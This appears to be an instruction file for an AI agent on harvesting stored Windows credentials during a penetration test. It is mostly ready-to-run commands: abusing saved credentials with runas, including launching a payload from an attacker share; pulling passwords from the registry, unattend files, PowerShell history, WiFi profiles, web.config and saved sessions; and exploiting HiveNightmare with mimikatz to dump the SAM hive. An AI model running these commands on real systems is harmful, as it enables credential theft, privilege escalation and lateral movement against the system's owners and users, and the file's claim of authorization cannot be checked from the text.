/windows-credential-harvesting

name: windows-credential-harvesting
description: >
  Harvest stored credentials from a Windows system for privilege escalation or
  lateral movement.
keywords:
  - credential harvesting
  - DPAPI
  - HiveNightmare
  - stored credentials
  - password hunting
  - credential vault
  - browser passwords
  - registry passwords
  - cmdkey
  - SharpDPAPI
  - unattend.xml
tools:
  - SharpDPAPI
  - mimikatz
  - SharpChrome
  - SessionGopher
  - dpapi.py
  - secretsdump.py
opsec: low

Windows Credential Harvesting

You are helping a penetration tester find and extract locally stored credentials on a Windows system. This covers file-based, registry-based, and DPAPI-protected secrets. All testing is under explicit written authorization.

**Scope distinction:** This skill covers LOCAL credential discovery — passwords in files, registry, vaults, browsers, DPAPI blobs, and shadow copies. For AD-level extraction (DCSync, NTDS.dit, LAPS, gMSA, DSRM), use **credential-dumping** instead.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[windows-credential-harvesting] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Shell access on a Windows system (cmd.exe, PowerShell, or webshell)
• Current user context known (`whoami`)
• Higher access level unlocks more techniques (admin → SAM, DPAPI machine keys)

Step 1: Quick Wins (No Admin Required)

Start with techniques that work at any privilege level. These often yield immediate results with minimal detection.

Saved Credentials (cmdkey)

cmdkey /list

If entries exist, use them:

runas /savecred /user:DOMAIN\admin cmd.exe
runas /savecred /user:administrator "\\ATTACKER\share\payload.exe"

Registry Autologon

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultUserName DefaultDomainName DefaultPassword"

PowerShell History

type %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

# Search all users (if readable)
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt -ErrorAction SilentlyContinue | ForEach-Object {
    Write-Host "`n=== $($_.FullName) ===" -ForegroundColor Yellow
    Select-String -Path $_ -Pattern "passw|cred|secret|key|token|login" -Context 1,1
}

PowerShell Transcripts

# Check common transcript locations
Get-ChildItem C:\Transcripts\ -Recurse -ErrorAction SilentlyContinue
Get-ChildItem C:\Users\*\Documents\PowerShell_transcript* -ErrorAction SilentlyContinue

Unattend / Sysprep Files

dir /s /b C:\*unattend.xml C:\*sysprep.xml C:\*sysprep.inf 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul | findstr /i "password"
type C:\Windows\Panther\Unattend\Unattend.xml 2>nul | findstr /i "password"
type C:\Windows\system32\sysprep\sysprep.xml 2>nul | findstr /i "password"

Passwords in unattend files are often base64-encoded:

echo "U2VjcmV0UGFzc3dvcmQxMjM=" | base64 -d

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U2VjcmV0UGFzc3dvcmQxMjM="))

Registry Password Search

reg query HKLM /F "password" /t REG_SZ /S /K 2>nul | findstr /i "password"
reg query HKCU /F "password" /t REG_SZ /S /K 2>nul | findstr /i "password"

PuTTY / SSH Saved Sessions

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
reg query "HKCU\Software\OpenSSH\Agent\Keys"

WiFi Passwords

netsh wlan show profile
netsh wlan show profile <SSID> key=clear

One-liner to dump all WiFi passwords:

for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off >nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on

IIS Web.config

Get-ChildItem -Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul | findstr /i "connectionString password"

Credential File Search

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt *.config 2>nul
dir /S /B *pass*.txt *pass*.xml *pass*.ini *cred* *vnc* *.config* 2>nul
findstr /spin "password" *.* 2>nul

SessionGopher (All Saved Sessions)

Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o

Extracts: PuTTY, WinSCP, SuperPuTTY, FileZilla, RDP saved sessions.

Step 2: HiveNightmare / SAM Shadow Copy (CVE-2021-36934)

Check if the SAM hive is readable by non-admin users due to misconfigured ACLs.

Detection

icacls C:\Windows\System32\config\SAM

Vulnerable if output includes `BUILTIN\Users:(I)(RX)`.

Exploitation

:: List available shadow copies
vssadmin list shadows

# Extract via mimikatz shadow copy access
mimikatz# misc::shadowcopies
mimikatz# lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32